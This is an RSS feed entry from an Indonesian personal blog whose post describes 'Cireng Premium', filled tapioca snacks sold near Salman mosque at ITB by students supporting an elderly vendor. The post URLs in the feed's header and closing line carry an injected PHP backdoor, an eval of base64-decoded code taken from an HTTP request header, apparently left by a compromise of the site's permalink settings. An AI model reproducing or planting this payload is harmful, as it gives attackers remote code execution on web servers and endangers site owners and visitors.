Uqi`s Life Note » Makanan http://ismailfaruqi.jepang.info Mon, 09 Mar 2009 01:47:54 +0000 http://wordpress.org/?v=2.5.1 id Cireng Premium http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/ http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments Tue, 27 Feb 2007 07:07:27 +0000 admin http://ismailfaruqi.wordpress.com/2007/02/27/cireng-premium/ Mesjid Salman adalah bagian yang tidak terpisahkan dari ITB dengan segala keunikannya tersendiri. Salah satunya, kalau anda melalui Salman –baik untuk shalat, makan, atau ketemu teman- anda akan mendapati seorang ibu bersama beberapa akhwat berjilbab lebar sedang menjual cireng (aci digoreng). Lho, kok ada mahasiswa yang menjual cireng bersama ibu yang lanjut usia? Ternyata ada cerita di balik cireng dan akhwat-akhwat berjilbab lebar ini. Penasaran kan?

Keberadaan para akhwat tersebut ternyata bukannya tanpa alasan. Mereka ada hubungannya dengan awal penjualan Cireng Premium ini. Saya mendapatkan kesempatan mewawancarai salah satu dari mereka (although barely). Namanya Anna (FMIPA ’06). Anna mengatakan bahwa cireng ini merupakan inovasi seorang akhwat angkatan 2003. Karena kalau dijual sendiri sulit dimonitor, maka penjualan cireng ini dititipkan ke si ibu penjual cireng sekarang. Mengapa mereka memilih ibu ini? Menurut Anna, ibu ini dipilih karena ia tidak mencari kesempatan menjual dagagannya di tengah bantuan yang datang dari orang lain. Selain itu, ibu ini orangnya baik dan terbuka, tidak seperti pedagang lainnya. Jadilah, sang ibu mendapat kepercayaan untuk menjajakan cireng premium ini. Singkat kata, Anna dan teman-temannya berhasil mengangkat kehidupan ekonomi sang ibu lewat cireng ini.

Oh ya, kenapa sih cireng ini saya namakan Cireng Premium? Ya karena harga yang disandangnya cukup mahal, yakni Rp 1.000 per cireng. Bandingkan dengan Rp 333,33 yang biasa dijual tukang gorengan. Mengapa harganya premium? Karena isinya premium pula. Coba, mana ada cireng yang isinya:

  1. Keju
  2. Ayam Pedas
  3. Kornet Pedas
  4. Kornet Tidak Pedas
  5. Sosis Pedas

Unik kan? Bentuknya pun bervariasi. Ada segitiga, bulan sabit, bundar, bahkan shuriken (nanda yo!). Sepertinya, bentuk tersebut digunakan penjual cireng untuk mengenali jeroan cireng. Bagaimana rasanya? Cukup memberikan sensasi, walaupun ‘cireng tetap cireng meski dibalut bahan lain’. Namun jangan salah, dari hasil observasi, cukup banyak penggemar cireng ini. Bahkan ‘penikmat cireng premium’ ini seringkali datang berkelompok untuk menikmatinya di Taman Ganesha. Artinya, rasa Cireng Premium ini patut diperhitungkan. Jika anda ke Salman, cobalah sesekali mampir untuk menikmati cireng ini.

Cireng Premium, Bentuknya Macam-macam Ayo Dibeli Cirengnya…

Menurut saya, apa yang dilakukan Anna dan teman-temannya merupakan salah satu solusi yang tepat dalam menangani jumlah pengemis yang semakin membengkak di Bandung ini. Dalam peribahasa, daripada memberi para pengemis “ikan”, lebih baik memberi “kail yang dapat digunakan untuk memancing ikan”. Saya angkat topi untuk mereka!

]]> http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/